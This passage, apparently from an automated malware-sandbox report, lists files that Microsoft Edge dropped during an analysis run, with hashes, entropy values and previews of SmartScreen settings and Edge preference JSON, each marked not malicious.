SHA-512:	886F10898BF2C79A9F4088550191FA9BAF88DF995E1169D755FA8E9974388B9036131F7CF77FF36D8CDB6878387508BBC5E562507DE2F7A0AEFA945D3081DE65
Malicious:	false
Preview:	..........................................Z_../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:kDnaV6bVon:kDYa2
MD5:	5692162977B015E31D5F35F50EFAB9CF
SHA1:	705DC80E8B32AC8B68F7E13CF8A75DCCB251ED7D
SHA-256:	42CCB5159B168DBE5D5DDF026E5F7ED3DBF50873CFE47C7C3EF0677BB07B90D4
SHA-512:	32905A4CC5BCE0FE8502DDD32096F40106625218BEDC4E218A344225D6DF2595A7B70EEB3695DCEFDD894ECB2B66BED479654E8E07F02526648E07ACFE47838C
Malicious:	false
Preview:	edgeSettings_2.0-0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.493433469104717
Encrypted:	false
SSDEEP:	3:kfKbQSQSuLA5:kyUc5
MD5:	3F90757B200B52DCF5FDAC696EFD3D60
SHA1:	569A2E1BED9ECCDF7CD03E270AEF2BD7FF9B0E77
SHA-256:	1EE63F0A3502CFB7DF195FABBA41A7805008AB2CCCDAEB9AF990409D163D60C8
SHA-512:	39252BBAA33130DF50F36178A8EAB1D09165666D8A229FBB3495DD01CBE964F87CD2E6FCD479DFCA36BE06309EF18FEDA7F14722C57545203BBA24972D4835C8
Malicious:	false
Preview:	synchronousLookupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQan:YQ3Kq9X0dMgAEwjM
MD5:	961E3604F228B0D10541EBF921500C86
SHA1:	6E00570D9F78D9CFEBE67D4DA5EFE546543949A7
SHA-256:	F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
SHA-512:	535F930AFD2EF50282715C7E48859CC2D7B354FF4E6C156B94D5A2815F589B33189FFEDFCAF4456525283E993087F9F560D84CFCF497D189AB8101510A09C472
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ae9b7f30-b1fa-44d0-b92b-d65e7fd01ee8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4235
Entropy (8bit):	5.494837071371147
Encrypted:	false
SSDEEP:	96:0q8NkGS1fNXL+P58rh/cI9URoDoto3ZB00vdHdnJkCcxSDS4S4SDSHQeI4a:/8NBSfXL+IeoDUMVdJkCML
MD5:	8C3977BEBE9B58CD1B9CD33C870C2319
SHA1:	C3EA6842BE88401F8BAE9B3FDBF22BEE0E6E1949
SHA-256:	BE413FB621004D1A4B0445086DC3092332CBD505B02436D89A57828697A91A98
SHA-512:	78DFBDD4B48B6BFB508476CA3EAB85B0A4BE94A9C5F09570D0F16D8C8AD6B7201E46D9F03D47AEC3FC89B11231873D318E6B5FC0210F37C20C644A98B48E9C56
Malicious:	false
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fre":{"oem_bookmarks_set":true},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRu

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\d05f31c2-76c1-4f38-bc69-79df9b86bf01.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2958
Entropy (8bit):	5.579987621270456
Encrypted:	false
SSDEEP:	48:YuBqDPEFMsFiHC0afNXFp+51PlkHB+rdrxUlvBbrcRcwaJkXSc+wlRTX3jYB0:Xq8NkC1fNXL+PEB00vdscpJkCczIq
MD5:	6090089FE162199F0F7EAD669983A766
SHA1:	2D244F4AAA1845B4D4DC4F9B17740EFF5F08F92B
SHA-256:	E94097454AEA6BD7F717536F7BF7F9BC371D7BB48A1864516112FE08C4ADAE9E
SHA-512:	4851635D643C71AC21BDC00F63B218C544C1A6DE00373321757F473DF70109D7248926B3B63F3B234A24862DFE980431B0B8F2DC8F5863C124350777F1E75B13
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjn86+TYULQZ/3qDCzg9+IEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJX0t8y15sPLgzgiPFG1Sm1eVB+OLjZcVRrytdGEF4WQAAAAAOgAAAAAIAACAAAAD2FGPXpKbUbida5YlRhDllMti7ZPQnuOvr57ApUm2ctTAAAAAMB1pUIRtIcevH94jIySN9WXo+v8A2tav06NjFPZhXnAIB6ZdUppz+TFsn7aOnb79AAAAADvRhjAGqjYAmcKkqVUPf2otppe/Gt7zuqBPvfkmSa2CDhNEhUYPvVI8LaG8VBkbu/U5q9ncfuJL3c7yRus6skQ=="},"policy":{"last_statistics_update":"13369620611866203"},"profile":{"info_ca

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\faa8ea85-54d5-46b3-9912-f857ab4b50dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	20787
Entropy (8bit):	6.065406076799716
Encrypted:	false
SSDEEP:	384:RtMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSqzlLaCMK+Mh0lkdHd5qe:LMGQ7FCYXGIgtDAWtJ4nsLaCMyh02tdN
MD5:	B1816801122DCDA81C85A22914501476
SHA1:	55686DC5FDE321A4692FE0A701F16D2D728ADCA5
SHA-256:	AF6F9D1BE87F1BC3D340A4F103B6BBD0145F9119FA572AE2E929DDDE19663AEC
SHA-512:	1DC9A658AFF18BE64940776FEFFE1297289C2A34143C2479EEED2E7726ABBB1E935C3159961244D35B9636018CD2F99B9A05356B84596D30975AEDB6DE718CBC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3fKpCZl+2D91MLf04NPNNUni9BZmDP4Sfjk2Ig7ktgg8r8InfhHz//zSP7e8bquWlsDJ411jYlhlRsBQRm+LIWvOaiW4hdcyEra5fCtzINfylY7VRB4y

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2e198622-5f77-4ad2-a4e7-8be0226c87b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44664
Entropy (8bit):	6.095737618385446
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBVFuChDO6vP6O5N8+Cg0yzcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7yOEy6D3chu3VlXr4CRo1
MD5:	F3FB3B5351D0B4AF0DD14BD3E1FADE65
SHA1:	184541C0B597BC901E03C9130158D8FEE3E85D52
SHA-256:	75284C3D9D4BBB1991075B4319486876D45B4B5594F82702DB52446DE9F3DCE4
SHA-512:	430C665FCCDA3005BAC5CCF5116D1178A88F98698366B0A3A88272D89BEEAB0E259C83222680E154888372BCBB9C260CC46FD637348B76596FAD031B0870F6D1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3b57f2a1-4afb-4974-a45f-657138574fb6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44664
Entropy (8bit):	6.0953589170104845
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBVFuChDO6vP6O5NYeCzImUtscGoup1Xl3jVzXr4CW:z/Ps+wsI7yOEy6DAchu3VlXr4CRo1
MD5:	C81B04EC0A713B5B81FDCB9B6087EC3D
SHA1:	782FEC83DFD0CA23D25982CDAB09231297F9ACD2
SHA-256:	0734B68268D2F249F54D0AEDFC84503997E58992F1B5BC34AA0C5A4E89808223
SHA-512:	6243B30BC7B59DDF94005AC3530CE56C5B66B274D1587FF8D950F84AFDA59F3E62548FBF1209DD947B30274E33CF2F4B64B3188D9A453951ACE18B607D9D134C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\54464658-992c-4f00-abd9-c110d6d76e02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44664
Entropy (8bit):	6.095339864293204
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBVFuChDO6vP6O5NYTCzImUtscGoup1Xl3jVzXr4CW:z/Ps+wsI7yOEy6Dvchu3VlXr4CRo1
MD5:	5A7FA703CBD47B43518C109DF6AFBE57
SHA1:	F6E19F57CB7710F0591BCE8DC320A8BD0A1C8FC0
SHA-256:	DDDD136A926947F8913BD6AFBCD93B8EB6283072183C8F4A42E1F76AAF243AA0
SHA-512:	5C9C35A2DDA13D816BCCDED118C7937ED4209DB49BD3A8A757D61E66A744B956B36019FF3F6D062BAF111CEE6503DA962FB9352EDBE80B1E9586904C88A649DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJ